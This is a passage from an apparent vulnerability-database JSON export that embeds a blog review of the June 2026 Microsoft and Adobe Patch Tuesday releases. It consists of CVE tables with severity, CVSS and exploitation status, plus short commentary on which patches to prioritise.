Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "2f2f0e2f-629c-4d64-aa73-a23538200646", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48568", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n  \n  \n    APSB26-57\n    Adobe Experience Manager Forms\n    3\n    Critical\n    9.3\n    No\n    2\n  \n  \n    APSB26-62\n    Adobe Dreamweaver\n    5\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-65\n    Adobe Format Plugins\n    2\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-59\n    Adobe InCopy\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-58\n    Adobe InDesign\n    12\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-60\n    Adobe Substance 3D Sampler\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-61\n    Content Credentials SDK\n    8\n    Critical\n    7.5\n    No\n    3\n  \n  \n    APSB26-56\n    Adobe Experience Manager\n    57\n    Important\n    5.4\n    No\n    3\n  \n\n    TOTAL\n    11 bulletins\n    123\n    \n    \n    \n    \n  \n\n\n\n  \n\n\n\n\n  \nObviously, the update for Campaign Classic should be on the top of your deployment list if you\u2019re a user. A CVSS 10 is rare; two in the same bulletin is pretty much a unicorn. Adobe says there are no active attacks, but I would expect heavy research into creating one. The update for Coldfusion is also a Priority 1, but again, no known attacks is the wild. I suspect the Reader patch will also receive a lot of attention as malicious PDFs are common in ransomware attacks. The update for Experience Manager may be large, but it\u2019s mostly just cross-site scripting (XSS) bugs.\nMicrosoft Patches for June 2026\nThis month, Microsoft released a new record 208 CVEs Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Secure Boot, and BitLocker. At least, that\u2019s my count. Microsoft\u2019s tools seem to be having some issues, as they initially included a CVE from 2020 in this release. Regardless, the count is over 200, and I counted several times.\nOne of these bugs came through the ZDI program, but bugs submitted during Pwn2Own Berlin remain unpatched. If you include the Chromium and other third-party bugs, the total CVE count for June comes to a staggering 571 CVEs. 38 of these cases are rated Critical while the rest are rated Important in severity.\nI\u2019ve been counting CVEs on Patch Tuesday since 2017, and this is by far the largest monthly release in that time. The previous record was 177 set last year. It is extraordinary that Microsoft can produce so many patches in a single month, but it does raise concerns. How many of these cases were found using AI tools? How many patches were generated using AI to assist in coding or testing? What quality issues may exist in these patches? And likely most importantly, is this the new normal? The last two months were also large releases. Should sysadmins adjust their processes for prioritization and patch deployment based on this new volume of updates? Unfortunately, Microsoft is not providing those answers right now. Hopefully that changes in the future. BTW \u2013 just a note \u2013 the current number of CVEs shipped by Microsoft this year exceeds the total number of CVEs shipped in all of 2018.\nOne of the bugs patched by Microsoft this month is listed as under active exploitation and three others are listed as publicly known at the time of release. Let\u2019s take a closer look at some of the more interesting updates for this month, starting with the bug being exploited in the wild.\n-   CVE-2026-41091 - Microsoft Defender Elevation of Privilege VulnerabilitySince Microsoft doesn\u2019t provide info on how widespread exploitation is, we must read some tea leaves. For this patch, several different people were acknowledged, which indicates multiple parties say this is in the wild, meaning exploitation is likely significant. The good news is that most people won\u2019t need to take action as Defender updates itself. However, if you don\u2019t have this configured or are in an isolated environment, you\u2019ll need to update to the latest version.\n-    CVE-2026-45657 - Windows Kernel Remote Code Execution VulnerabilityThis CVSS 9.8 bug allows remote, unauthenticated attackers to execute code at SYSTEM level without user interaction. Yup \u2013 this is wormable. The problem lies in the way the kernel handles TCP/IP. This was listed as \u201cExploitation Less Likely\u201d by Microsoft, but rest assured that every researcher and bug shop on the planet is reversing this patch right now trying to create an exploit. Test and deploy this patch quickly.\n-    CVE-2026-47291 - HTTP.sys Remote Code Execution VulnerabilityOur second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as \u201cExploitation more likely\u201d, so I would definitely check your registry settings.\n-    CVE-2026-44815 - DHCP Client Service Remote Code Execution VulnerabilityHere\u2019s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an \u201cauthenticated\u201d user. I would err on the side of caution here and believe the CVSS. If that\u2019s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it\u2019s a juicy target. This is another one to test and deploy with haste.\n-    CVE-2026-45585/CVE-2026-50507 - Windows BitLocker Security Feature Bypass VulnerabilityIf you\u2019ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for \u201cYellowKey\u201d, while the other appears to be a fix for \u201cGreenPlasma\u201d. The researcher has promised a \u201cbone shattering\u201d drop on June 14, so let\u2019s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.\n Here\u2019s the full list of CVEs released by Microsoft for June 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n <col width=\"144\" />\n <col width=\"256\" />\n <col span=\"6\" width=\"104\" />\n \n\n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  XI\n  Type\n \n \n  <span>CVE-2026-41091</span>\n  Microsoft Defender\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  Yes\n  0\n  EoP\n \n \n  <span>CVE-2026-49160</span>\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  Yes\n  No\n  1\n  DoS\n \n \n  <span>CVE-2026-50507</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.8\n  Yes\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45586</span>\n  Windows Collaborative\n  Translation Framework (CTFMON) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  Yes\n  No\n  1\n  EoP\n \n \n  <span>CVE-2025-10263 *</span>\n  ARM: CVE-2025-10263\n  Completion of affected memory accesses might not be guaranteed by completion\n  of a TLBI [kernel]\n  Critical\n  9.3\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48567</span>\n  Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability\n  Critical\n  10\n  No\n  No\n  N/A\n  EoP\n \n \n  <span>CVE-2026-32193</span>\n  Azure Kubernetes\n  Service (AKS) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-47644</span>\n  Copilot Chat\n  (Microsoft Edge) Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44815</span>\n  DHCP Client Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47291</span>\n  HTTP.sys Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  1\n  RCE\n \n \n  <span>CVE-2026-42824</span>\n  M365 Copilot\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45476</span>\n  Microsoft Azure\n  Network Adapter Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44810</span>\n  Microsoft\n  Cryptographic Services Elevation of Privilege Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48579</span>\n  Microsoft Exchange\n  Online Information Disclosure Vulnerability\n  Critical\n  9.1\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-47655</span>\n  Microsoft Graph\n  Information Disclosure Vulnerability\n  Critical\n  6.5\n  No\n  No\n  N/A\n  Info\n \n \n  <span>CVE-2026-45497</span>\n  Microsoft M365 Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  7.7\n  No\n  No\n  N/A\n  RCE\n \n \n  <span>CVE-2026-45460</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Critical\n  4.7\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45472</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45474</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45461</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45463</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45456</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45458</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47635</span>\n  Microsoft Outlook and\n  Word Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-26142</span>\n  Nuance PowerScribe\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47289</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47654</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-48563</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42992</span>\n 